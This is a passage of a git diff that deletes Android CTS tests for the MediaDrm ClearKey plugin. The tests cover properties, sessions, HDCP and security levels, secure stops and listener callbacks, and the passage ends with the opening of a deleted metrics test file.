-            MIME_VIDEO_AVC, new String[0],
-            "mpeg2ts", null,
-            MPEG2TS_CLEAR_URL, false /* audioEncrypted */,
-            MPEG2TS_CLEAR_URL, false /* videoEncrypted */,
-            VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, false /* scrambled */,
-            MediaDrm.KEY_TYPE_STREAMING);
-    }
-
-    private String getStringProperty(final MediaDrm drm,  final String key) {
-        String value = "";
-        try {
-            value = drm.getPropertyString(key);
-        } catch (IllegalArgumentException e) {
-            // Expected exception for invalid key
-            Log.d(TAG, "Expected result: " + e.getMessage());
-        } catch (Exception e) {
-            throw new Error(e.getMessage() + "-" + key);
-        }
-        return value;
-    }
-
-    private byte[] getByteArrayProperty(final MediaDrm drm,  final String key) {
-        byte[] bytes = new byte[0];
-        try {
-            bytes = drm.getPropertyByteArray(key);
-        } catch (IllegalArgumentException e) {
-            // Expected exception for invalid key
-            Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
-        } catch (Exception e) {
-            throw new Error(e.getMessage() + "-" + key);
-        }
-        return bytes;
-    }
-
-    private void setStringProperty(final MediaDrm drm, final String key, final String value) {
-        try {
-            drm.setPropertyString(key, value);
-        } catch (IllegalArgumentException e) {
-            // Expected exception for invalid key
-            Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
-        } catch (Exception e) {
-            throw new Error(e.getMessage() + "-" + key);
-        }
-    }
-
-    private void setByteArrayProperty(final MediaDrm drm, final String key, final byte[] bytes) {
-        try {
-            drm.setPropertyByteArray(key, bytes);
-        } catch (IllegalArgumentException e) {
-            // Expected exception for invalid key
-            Log.d(TAG, "Expected: " + e.getMessage() + " - " + key);
-        } catch (Exception e) {
-            throw new Error(e.getMessage() + "-" + key);
-        }
-    }
-
-    @Presubmit
-    public void testGetProperties() throws Exception {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC },
-                "cenc", CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
-
-        try {
-            // The following tests will not verify the value we are getting
-            // back since it could change in the future.
-            final String[] sKeys = {
-                    DESCRIPTION_PROPERTY_KEY, LISTENER_TEST_SUPPORT_PROPERTY_KEY,
-                    VENDOR_PROPERTY_KEY, VERSION_PROPERTY_KEY};
-            String value;
-            for (String key : sKeys) {
-                value = getStringProperty(drm, key);
-                Log.d(TAG, "getPropertyString returns: " + key + ", " + value);
-                if (value.isEmpty()) {
-                    throw new Error("Failed to get property for: " + key);
-                }
-            }
-
-            if (cannotHandleGetPropertyByteArray(drm)) {
-                Log.i(TAG, "Skipping testGetProperties: byte array properties not implemented "
-                        + "on devices launched before P");
-                return;
-            }
-
-            byte[] bytes = getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY);
-            if (0 == bytes.length) {
-                throw new Error("Failed to get property for: " + DEVICEID_PROPERTY_KEY);
-            }
-
-            // Test with an invalid property key.
-            value = getStringProperty(drm, INVALID_PROPERTY_KEY);
-            bytes = getByteArrayProperty(drm, INVALID_PROPERTY_KEY);
-            if (!value.isEmpty() || 0 != bytes.length) {
-                throw new Error("get property failed using an invalid property key");
-            }
-        } finally {
-            stopDrm(drm);
-        }
-    }
-
-    @Presubmit
-    public void testSetProperties() throws Exception {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = startDrm(new byte[][]{CLEAR_KEY_CENC},
-                "cenc", CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
-
-        try {
-            if (cannotHandleSetPropertyString(drm)) {
-                Log.i(TAG, "Skipping testSetProperties: set property string not implemented "
-                        + "on devices launched before P");
-                return;
-            }
-
-            // Test setting predefined string property
-            // - Save the value to be restored later
-            // - Set the property value
-            // - Check the value that was set
-            // - Restore previous value
-            String listenerTestSupport = getStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY);
-
-            setStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY, "testing");
-
-            String value = getStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY);
-            if (!value.equals("testing")) {
-                throw new Error("Failed to set property: " + LISTENER_TEST_SUPPORT_PROPERTY_KEY);
-            }
-
-            setStringProperty(drm, LISTENER_TEST_SUPPORT_PROPERTY_KEY, listenerTestSupport);
-
-            // Test setting immutable properties
-            HashMap<String, String> defaultImmutableProperties = new HashMap<String, String>();
-            defaultImmutableProperties.put(ALGORITHMS_PROPERTY_KEY,
-                    getStringProperty(drm, ALGORITHMS_PROPERTY_KEY));
-            defaultImmutableProperties.put(DESCRIPTION_PROPERTY_KEY,
-                    getStringProperty(drm, DESCRIPTION_PROPERTY_KEY));
-            defaultImmutableProperties.put(VENDOR_PROPERTY_KEY,
-                    getStringProperty(drm, VENDOR_PROPERTY_KEY));
-            defaultImmutableProperties.put(VERSION_PROPERTY_KEY,
-                    getStringProperty(drm, VERSION_PROPERTY_KEY));
-
-            HashMap<String, String> immutableProperties = new HashMap<String, String>();
-            immutableProperties.put(ALGORITHMS_PROPERTY_KEY, "brute force");
-            immutableProperties.put(DESCRIPTION_PROPERTY_KEY, "testing only");
-            immutableProperties.put(VENDOR_PROPERTY_KEY, "my Google");
-            immutableProperties.put(VERSION_PROPERTY_KEY, "undefined");
-
-            for (String key : immutableProperties.keySet()) {
-                setStringProperty(drm, key, immutableProperties.get(key));
-            }
-
-            // Verify the immutable properties have not been set
-            for (String key : immutableProperties.keySet()) {
-                value = getStringProperty(drm, key);
-                if (!defaultImmutableProperties.get(key).equals(getStringProperty(drm, key))) {
-                    throw new Error("Immutable property has changed, key=" + key);
-                }
-            }
-
-            // Test setPropertyByteArray for immutable property
-            final byte[] bytes = new byte[] {
-                    0xf, 0xe, 0xd, 0xc, 0xb, 0xa, 0x9, 0x8,
-                    0x7, 0x6, 0x5, 0x4, 0x3, 0x2, 0x1, 0x0};
-
-            final byte[] deviceId = getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY);
-
-            setByteArrayProperty(drm, DEVICEID_PROPERTY_KEY, bytes);
-
-            // Verify deviceId has not changed
-            if (!Arrays.equals(deviceId, getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY))) {
-                throw new Error("Failed to set byte array for key=" + DEVICEID_PROPERTY_KEY);
-            }
-        } finally {
-            stopDrm(drm);
-        }
-    }
-
-    private final static int CLEARKEY_MAX_SESSIONS = 10;
-
-    @Presubmit
-    public void testGetNumberOfSessions() {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC },
-                "cenc", CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
-
-        try {
-            if (getClearkeyVersion(drm).equals("1.0")) {
-                Log.i(TAG, "Skipping testGetNumberOfSessions: not supported by clearkey 1.0");
-                return;
-            }
-
-            int maxSessionCount = drm.getMaxSessionCount();
-            if (maxSessionCount != CLEARKEY_MAX_SESSIONS) {
-                throw new Error("expected max session count to be " +
-                        CLEARKEY_MAX_SESSIONS);
-            }
-            int initialOpenSessionCount = drm.getOpenSessionCount();
-            if (initialOpenSessionCount == maxSessionCount) {
-                throw new Error("all sessions open, can't do increment test");
-            }
-            mSessionId = openSession(drm);
-            try {
-                if (drm.getOpenSessionCount() != initialOpenSessionCount + 1) {
-                    throw new Error("openSessionCount didn't increment");
-                }
-            } finally {
-                closeSession(drm, mSessionId);
-            }
-        } finally {
-            stopDrm(drm);
-        }
-    }
-
-    @Presubmit
-    public void testHdcpLevels() {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = null;
-        try {
-            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-
-            if (getClearkeyVersion(drm).equals("1.0")) {
-                Log.i(TAG, "Skipping testHdcpLevels: not supported by clearkey 1.0");
-                return;
-            }
-
-            if (drm.getConnectedHdcpLevel() != MediaDrm.HDCP_NONE) {
-                throw new Error("expected connected hdcp level to be HDCP_NONE");
-            }
-
-            if (drm.getMaxHdcpLevel() != MediaDrm.HDCP_NO_DIGITAL_OUTPUT) {
-                throw new Error("expected max hdcp level to be HDCP_NO_DIGITAL_OUTPUT");
-            }
-        } catch(Exception e) {
-            throw new Error("Unexpected exception ", e);
-        } finally {
-            if (drm != null) {
-                drm.close();
-            }
-        }
-    }
-
-    @Presubmit
-    public void testSecurityLevels() {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = null;
-        byte[] sessionId = null;
-        try {
-            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-
-            if (getClearkeyVersion(drm).equals("1.0")) {
-                Log.i(TAG, "Skipping testSecurityLevels: not supported by clearkey 1.0");
-                return;
-            }
-
-            sessionId = drm.openSession(MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO);
-            if (drm.getSecurityLevel(sessionId) != MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO) {
-                throw new Error("expected security level to be SECURITY_LEVEL_SW_SECURE_CRYPTO");
-            }
-            drm.closeSession(sessionId);
-            sessionId = null;
-
-            sessionId = drm.openSession();
-            if (drm.getSecurityLevel(sessionId) != MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO) {
-                throw new Error("expected security level to be SECURITY_LEVEL_SW_SECURE_CRYPTO");
-            }
-            drm.closeSession(sessionId);
-            sessionId = null;
-
-            try {
-                sessionId = drm.openSession(MediaDrm.SECURITY_LEVEL_SW_SECURE_DECODE);
-            } catch (IllegalArgumentException e) {
-                /* caught expected exception */
-            } catch (Exception e) {
-                throw new Exception ("did't get expected IllegalArgumentException" +
-                        " while opening a session with disallowed security level");
-            } finally  {
-                if (sessionId != null) {
-                    drm.closeSession(sessionId);
-                    sessionId = null;
-                }
-            }
-        } catch(Exception e) {
-            throw new Error("Unexpected exception ", e);
-        } finally  {
-            if (sessionId != null) {
-                drm.closeSession(sessionId);
-            }
-            if (drm != null) {
-                drm.close();
-            }
-        }
-     }
-
-    @Presubmit
-    public void testSecureStop() {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = startDrm(new byte[][] {CLEAR_KEY_CENC}, "cenc",
-                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
-
-        byte[] sessionId = null;
-        try {
-            if (getClearkeyVersion(drm).equals("1.0")) {
-                Log.i(TAG, "Skipping testSecureStop: not supported in ClearKey v1.0");
-                return;
-            }
-
-            drm.removeAllSecureStops();
-            Log.d(TAG, "Test getSecureStops from an empty list.");
-            List<byte[]> secureStops = drm.getSecureStops();
-            assertTrue(secureStops.isEmpty());
-
-            Log.d(TAG, "Test getSecureStopIds from an empty list.");
-            List<byte[]> secureStopIds = drm.getSecureStopIds();
-            assertTrue(secureStopIds.isEmpty());
-
-            mSessionId = openSession(drm);
-
-            mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
-                    getSurfaces(), mSessionId, false, mContext);
-            mMediaCodecPlayer.setAudioDataSource(
-                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), null, false);
-            mMediaCodecPlayer.setVideoDataSource(
-                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), null, true);
-            mMediaCodecPlayer.start();
-            mMediaCodecPlayer.prepare();
-            mDrmInitData = mMediaCodecPlayer.getDrmInitData();
-
-            for (int i = 0; i < NUMBER_OF_SECURE_STOPS; ++i) {
-                getKeys(drm, "cenc", mSessionId, mDrmInitData,
-                        MediaDrm.KEY_TYPE_STREAMING, new byte[][] {CLEAR_KEY_CENC});
-            }
-            Log.d(TAG, "Test getSecureStops.");
-            secureStops = drm.getSecureStops();
-            assertEquals(NUMBER_OF_SECURE_STOPS, secureStops.size());
-
-            Log.d(TAG, "Test getSecureStopIds.");
-            secureStopIds = drm.getSecureStopIds();
-            assertEquals(NUMBER_OF_SECURE_STOPS, secureStopIds.size());
-
-            Log.d(TAG, "Test getSecureStop using secure stop Ids.");
-            for (int i = 0; i < secureStops.size(); ++i) {
-                byte[] secureStop = drm.getSecureStop(secureStopIds.get(i));
-                assertTrue(Arrays.equals(secureStops.get(i), secureStop));
-            }
-
-            Log.d(TAG, "Test removeSecureStop given a secure stop Id.");
-            drm.removeSecureStop(secureStopIds.get(NUMBER_OF_SECURE_STOPS - 1));
-            secureStops = drm.getSecureStops();
-            secureStopIds = drm.getSecureStopIds();
-            assertEquals(NUMBER_OF_SECURE_STOPS - 1, secureStops.size());
-            assertEquals(NUMBER_OF_SECURE_STOPS - 1, secureStopIds.size());
-
-            Log.d(TAG, "Test releaseSecureStops given a release message.");
-            // Simulate server response message by removing
-            // every other secure stops to make it interesting.
-            List<byte[]> releaseList = new ArrayList<byte[]>();
-            int releaseListSize = 0;
-            for (int i = 0; i < secureStops.size(); i += 2) {
-                byte[] secureStop = secureStops.get(i);
-                releaseList.add(secureStop);
-                releaseListSize += secureStop.length;
-            }
-
-            // ClearKey's release message format (this is a format shared between
-            // the server and the drm service).
-            // The clearkey implementation expects the message to contain
-            // a 4 byte count of the number of fixed length secure stops
-            // to follow.
-            String count = String.format("%04d", releaseList.size());
-            byte[] releaseMessage = new byte[count.length() + releaseListSize];
-
-            byte[] buffer = count.getBytes();
-            System.arraycopy(buffer, 0, releaseMessage, 0, count.length());
-
-            int destPosition = count.length();
-            for (int i = 0; i < releaseList.size(); ++i) {
-                byte[] secureStop = releaseList.get(i);
-                int secureStopSize = secureStop.length;
-                System.arraycopy(secureStop, 0, releaseMessage, destPosition, secureStopSize);
-                destPosition += secureStopSize;
-            }
-
-            drm.releaseSecureStops(releaseMessage);
-            secureStops = drm.getSecureStops();
-            secureStopIds = drm.getSecureStopIds();
-            // All odd numbered secure stops are removed in the test,
-            // leaving 2nd, 4th, 6th and the 8th element.
-            assertEquals((NUMBER_OF_SECURE_STOPS - 1) / 2, secureStops.size());
-            assertEquals((NUMBER_OF_SECURE_STOPS - 1 ) / 2, secureStopIds.size());
-
-            Log.d(TAG, "Test removeAllSecureStops.");
-            drm.removeAllSecureStops();
-            secureStops = drm.getSecureStops();
-            assertTrue(secureStops.isEmpty());
-            secureStopIds = drm.getSecureStopIds();
-            assertTrue(secureStopIds.isEmpty());
-
-            mMediaCodecPlayer.reset();
-            closeSession(drm, mSessionId);
-        } catch (Exception e) {
-            throw new Error("Unexpected exception", e);
-        } finally {
-            if (sessionId != null) {
-                drm.closeSession(sessionId);
-            }
-            stopDrm(drm);
-        }
-    }
-
-    /**
-     * Test that the framework handles a device returning
-     * ::android::hardware::drm@1.2::Status::ERROR_DRM_RESOURCE_CONTENTION.
-     * Expected behavior: throws MediaDrm.SessionException with
-     * errorCode ERROR_RESOURCE_CONTENTION
-     */
-    @Presubmit
-    public void testResourceContentionError() {
-
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = null;
-        boolean gotException = false;
-
-        try {
-            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-            drm.setPropertyString("drmErrorTest", "resourceContention");
-            byte[] sessionId = drm.openSession();
-
-            try {
-                byte[] ignoredInitData = new byte[] { 1 };
-                drm.getKeyRequest(sessionId, ignoredInitData, "cenc", MediaDrm.KEY_TYPE_STREAMING, null);
-            } catch (MediaDrm.SessionException e) {
-                if (e.getErrorCode() != MediaDrm.SessionException.ERROR_RESOURCE_CONTENTION) {
-                    throw new Error("Expected transient ERROR_RESOURCE_CONTENTION");
-                }
-                if(sIsAtLeastS && !e.isTransient()) {
-                        throw new Error("Expected transient ERROR_RESOURCE_CONTENTION");
-                }
-                gotException = true;
-            }
-        } catch(Exception e) {
-            throw new Error("Unexpected exception ", e);
-        } finally {
-            if (drm != null) {
-                drm.close();
-            }
-        }
-        if (!gotException) {
-            throw new Error("Didn't receive expected MediaDrm.SessionException");
-        }
-    }
-
-    /**
-     * Test sendExpirationUpdate and onExpirationUpdateListener
-     *
-     * Expected behavior: the EXPIRATION_UPDATE event arrives
-     * at the onExpirationUpdateListener with the expiry time
-     */
-    @Presubmit
-    public void testOnExpirationUpdateListener() {
-
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = null;
-        mSessionId = null;
-        mExpirationUpdateReceived = false;
-
-        // provideKeyResponse calls sendExpirationUpdate method
-        // for testing purpose, we therefore start a license request
-        // which calls provideKeyResonpse
-        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
-        int keyType = MediaDrm.KEY_TYPE_STREAMING;
-        String initDataType = new String("cenc");
-
-        drm = startDrm(clearKeyIds,  initDataType, CLEARKEY_SCHEME_UUID, keyType);
-        mSessionId = openSession(drm);
-        try {
-            if (!preparePlayback(
-                    MIME_VIDEO_AVC,
-                    new String[0],
-                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
-                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
-                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
-                    mSessionId, getSurfaces())) {
-                closeSession(drm, mSessionId);
-                stopDrm(drm);
-                return;
-            }
-        } catch (Exception e) {
-            throw new Error("Unexpected exception ", e);
-        }
-
-        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
-        getKeys(drm, initDataType, mSessionId, mDrmInitData,
-                    keyType, clearKeyIds);
-
-        // wait for the event to arrive
-        try {
-            closeSession(drm, mSessionId);
-            // wait up to 2 seconds for event
-            for (int i = 0; i < 20 && !mExpirationUpdateReceived; i++) {
-                try {
-                    Thread.sleep(100);
-                } catch (InterruptedException e) {
-                }
-            }
-            if (!mExpirationUpdateReceived) {
-                throw new Error("EXPIRATION_UPDATE event was not received by the listener");
-            }
-          } catch (MediaDrmStateException e) {
-                throw new Error("Unexpected exception from closing session: ", e);
-        } finally {
-            stopDrm(drm);
-        }
-    }
-
-    /**
-     * Test that the onExpirationUpdateListener
-     * listener is not called after
-     * clearOnExpirationUpdateListener is called.
-     */
-    @Presubmit
-    public void testClearOnExpirationUpdateListener() {
-
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = null;
-        mSessionId = null;
-        mExpirationUpdateReceived = false;
-
-        // provideKeyResponse calls sendExpirationUpdate method
-        // for testing purpose, we therefore start a license request
-        // which calls provideKeyResonpse
-        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
-        int keyType = MediaDrm.KEY_TYPE_STREAMING;
-        String initDataType = new String("cenc");
-
-        drm = startDrm(clearKeyIds,  initDataType, CLEARKEY_SCHEME_UUID, keyType);
-        mSessionId = openSession(drm);
-        try {
-            if (!preparePlayback(
-                    MIME_VIDEO_AVC,
-                    new String[0],
-                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
-                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
-                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
-                    mSessionId, getSurfaces())) {
-                closeSession(drm, mSessionId);
-                stopDrm(drm);
-                return;
-            }
-        } catch (Exception e) {
-            throw new Error("Unexpected exception ", e);
-        }
-
-        // clear the expiration update listener
-        drm.clearOnExpirationUpdateListener();
-        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
-        getKeys(drm, initDataType, mSessionId, mDrmInitData,
-                    keyType, clearKeyIds);
-
-        // wait for the event, it should not arrive
-        // because the expiration update listener has been cleared
-        try {
-            closeSession(drm, mSessionId);
-            // wait up to 2 seconds for event
-            for (int i = 0; i < 20 && !mExpirationUpdateReceived; i++) {
-                try {
-                    Thread.sleep(100);
-                } catch (InterruptedException e) {
-                }
-            }
-            if (mExpirationUpdateReceived) {
-                throw new Error("onExpirationUpdateListener should not be called");
-            }
-        } catch (MediaDrmStateException e) {
-              throw new Error("Unexpected exception from closing session: ", e);
-        } finally {
-            stopDrm(drm);
-        }
-    }
-
-    /**
-     * Test that after onClearEventListener is called,
-     * MediaDrm's event listener is not called.
-     *
-     * Clearkey plugin's provideKeyResponse method sends a
-     * vendor defined event to the media drm event listener
-     * for testing purpose. Check that after onClearEventListener
-     * is called, the event listener is not called.
-     */
-    @Presubmit
-    public void testClearOnEventListener() {
-
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = null;
-        mSessionId = null;
-        mEventListenerCalled = false;
-
-        // provideKeyResponse in clearkey plugin sends a
-        // vendor defined event to test the event listener;
-        // we therefore start a license request which will
-        // call provideKeyResonpse
-        byte[][] clearKeyIds = new byte[][] { CLEAR_KEY_CENC };
-        int keyType = MediaDrm.KEY_TYPE_STREAMING;
-        String initDataType = new String("cenc");
-
-        drm = startDrm(clearKeyIds,  initDataType, CLEARKEY_SCHEME_UUID, keyType);
-        mSessionId = openSession(drm);
-        try {
-            if (!preparePlayback(
-                    MIME_VIDEO_AVC,
-                    new String[0],
-                    Uri.parse(Utils.getMediaPath() + CENC_AUDIO_PATH), false /* audioEncrypted */ ,
-                    Uri.parse(Utils.getMediaPath() + CENC_VIDEO_PATH), true /* videoEncrypted */,
-                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false /* scrambled */,
-                    mSessionId, getSurfaces())) {
-                closeSession(drm, mSessionId);
-                stopDrm(drm);
-                return;
-            }
-        } catch (Exception e) {
-            throw new Error("Unexpected exception ", e);
-        }
-
-        // test that the onEvent listener is called
-        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
-        getKeys(drm, initDataType, mSessionId, mDrmInitData,
-                    keyType, clearKeyIds);
-
-        // wait for the vendor defined event, it should not arrive
-        // because the event listener is cleared
-        try {
-            // wait up to 2 seconds for event
-            for (int i = 0; i < 20 && !mEventListenerCalled; i++) {
-                try {
-                    Thread.sleep(100);
-                } catch (InterruptedException e) {
-                }
-            }
-            if (!mEventListenerCalled) {
-                closeSession(drm, mSessionId);
-                stopDrm(drm);
-                throw new Error("onEventListener should be called");
-            }
-        } catch (MediaDrmStateException e) {
-              closeSession(drm, mSessionId);
-              stopDrm(drm);
-              throw new Error("Unexpected exception from closing session: ", e);
-        }
-
-        // clear the drm event listener
-        // and test that the onEvent listener is not called
-        mEventListenerCalled = false;
-        drm.clearOnEventListener();
-        getKeys(drm, initDataType, mSessionId, mDrmInitData,
-                    keyType, clearKeyIds);
-
-        // wait for the vendor defined event, it should not arrive
-        // because the event listener is cleared
-        try {
-            closeSession(drm, mSessionId);
-            // wait up to 2 seconds for event
-            for (int i = 0; i < 20 && !mEventListenerCalled; i++) {
-                try {
-                    Thread.sleep(100);
-                } catch (InterruptedException e) {
-                }
-            }
-            if (mEventListenerCalled) {
-                throw new Error("onEventListener should not be called");
-            }
-        } catch (MediaDrmStateException e) {
-              throw new Error("Unexpected exception from closing session: ", e);
-        } finally {
-            stopDrm(drm);
-        }
-    }
-
-    /**
-     * Test that the framework handles a device returning invoking
-     * the ::android::hardware::drm@1.2::sendSessionLostState callback
-     * Expected behavior: OnSessionLostState is called with
-     * the sessionId
-     */
-    @Presubmit
-    public void testSessionLostStateError() {
-
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        boolean gotException = false;
-        mLostStateReceived = false;
-
-        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
-                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
-
-        mDrm.setPropertyString("drmErrorTest", "lostState");
-        mSessionId = openSession(drm);
-
-        // simulates session lost state here, detected by closeSession
-
-        try {
-            try {
-                closeSession(drm, mSessionId);
-            } catch (MediaDrmStateException e) {
-                gotException = true; // expected for lost state
-            }
-            // wait up to 2 seconds for event
-            for (int i = 0; i < 20 && !mLostStateReceived; i++) {
-                try {
-                    Thread.sleep(100);
-                } catch (InterruptedException e) {
-                }
-            }
-            if (!mLostStateReceived) {
-                throw new Error("Callback for OnSessionLostStateListener not received");
-            }
-        } catch(Exception e) {
-            throw new Error("Unexpected exception ", e);
-        } finally {
-            stopDrm(drm);
-        }
-        if (!gotException) {
-            throw new Error("Didn't receive expected MediaDrmStateException");
-        }
-    }
-
-    /**
-     * Test that the framework handles a device ignoring
-     * events for the onSessionLostStateListener after
-     * clearOnSessionLostStateListener is called.
-     *
-     * Expected behavior: OnSessionLostState is not called with
-     * the sessionId
-     */
-    @Presubmit
-    public void testClearOnSessionLostStateListener() {
-
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        boolean gotException = false;
-        mLostStateReceived = false;
-
-        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc",
-                CLEARKEY_SCHEME_UUID, MediaDrm.KEY_TYPE_STREAMING);
-
-        mDrm.setPropertyString("drmErrorTest", "lostState");
-        mSessionId = openSession(drm);
-
-        // Simulates session lost state here, event is sent from closeSession.
-        // The session lost state should not arrive in the listener
-        // after clearOnSessionLostStateListener() is called.
-        try {
-            try {
-                mDrm.clearOnSessionLostStateListener();
-                Thread.sleep(2000);
-                closeSession(drm, mSessionId);
-            } catch (MediaDrmStateException e) {
-                gotException = true; // expected for lost state
-            }
-            // wait up to 2 seconds for event
-            for (int i = 0; i < 20 && !mLostStateReceived; i++) {
-                try {
-                    Thread.sleep(100);
-                } catch (InterruptedException e) {
-                }
-            }
-            if (mLostStateReceived) {
-                throw new Error("Should not receive callback for OnSessionLostStateListener");
-            }
-        } catch(Exception e) {
-            throw new Error("Unexpected exception ", e);
-        } finally {
-            stopDrm(drm);
-        }
-        if (!gotException) {
-            throw new Error("Didn't receive expected MediaDrmStateException");
-        }
-    }
-
-    @Presubmit
-    public void testIsCryptoSchemeSupportedWithSecurityLevel() {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        if (MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID, "cenc",
-                                             MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL)) {
-            throw new Error("Clearkey claims to support SECURITY_LEVEL_HW_SECURE_ALL");
-        }
-        if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID, "cenc",
-                                              MediaDrm.SECURITY_LEVEL_SW_SECURE_CRYPTO)) {
-            throw new Error("Clearkey claims not to support SECURITY_LEVEL_SW_SECURE_CRYPTO");
-        }
-    }
-
-    @Presubmit
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
-    public void testMediaDrmStateExceptionErrorCode()
-            throws ResourceBusyException, UnsupportedSchemeException, NotProvisionedException {
-        if (watchHasNoClearkeySupport()) {
-            return;
-        }
-
-        MediaDrm drm = null;
-        try {
-            drm = new MediaDrm(CLEARKEY_SCHEME_UUID);
-            byte[] sessionId = drm.openSession();
-            drm.closeSession(sessionId);
-
-            byte[] ignoredInitData = new byte[]{1};
-            drm.getKeyRequest(sessionId, ignoredInitData, "cenc",
-                    MediaDrm.KEY_TYPE_STREAMING,
-                    null);
-        } catch(MediaDrmStateException e) {
-            Log.i(TAG, "Verifying exception error code", e);
-            assertFalse("ERROR_SESSION_NOT_OPENED requires new session", e.isTransient());
-            assertEquals("Expected ERROR_SESSION_NOT_OPENED",
-                    MediaDrm.ErrorCodes.ERROR_SESSION_NOT_OPENED, e.getErrorCode());
-        }  finally {
-            if (drm != null) {
-                drm.close();
-            }
-        }
-    }
-
-    private String getClearkeyVersion(MediaDrm drm) {
-        try {
-            return drm.getPropertyString("version");
-        } catch (Exception e) {
-            return "unavailable";
-        }
-    }
-
-    private boolean cannotHandleGetPropertyByteArray(MediaDrm drm) {
-        boolean apiNotSupported = false;
-        byte[] bytes = new byte[0];
-        try {
-            bytes = drm.getPropertyByteArray(DEVICEID_PROPERTY_KEY);
-        } catch (IllegalArgumentException e) {
-            // Expected exception for invalid key or api not implemented
-            apiNotSupported = true;
-        }
-        return apiNotSupported;
-    }
-
-    private boolean cannotHandleSetPropertyString(MediaDrm drm) {
-        boolean apiNotSupported = false;
-        final byte[] bytes = new byte[0];
-        try {
-            drm.setPropertyString(LISTENER_TEST_SUPPORT_PROPERTY_KEY, "testing");
-        } catch (IllegalArgumentException e) {
-            // Expected exception for invalid key or api not implemented
-            apiNotSupported = true;
-        }
-        return apiNotSupported;
-    }
-
-    private boolean watchHasNoClearkeySupport() {
-        if (!MediaDrm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
-            if (isWatchDevice()) {
-                return true;
-            } else {
-                throw new Error(ERR_MSG_CRYPTO_SCHEME_NOT_SUPPORTED);
-            }
-        }
-        return false;
-    }
-
-    private List<Surface> getSurfaces() {
-        return Arrays.asList(getActivity().getSurfaceHolder().getSurface());
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java b/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java
deleted file mode 100644
index ae0bae5..0000000
--- a/tests/tests/media/src/android/media/cts/MediaDrmMetricsTest.java
+++ /dev/null
@@ -1,193 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.hamcrest.Matchers.containsInAnyOrder;
-import static org.hamcrest.Matchers.lessThanOrEqualTo;
-
-import android.media.MediaDrm;
-import android.os.PersistableBundle;
-import android.platform.test.annotations.Presubmit;
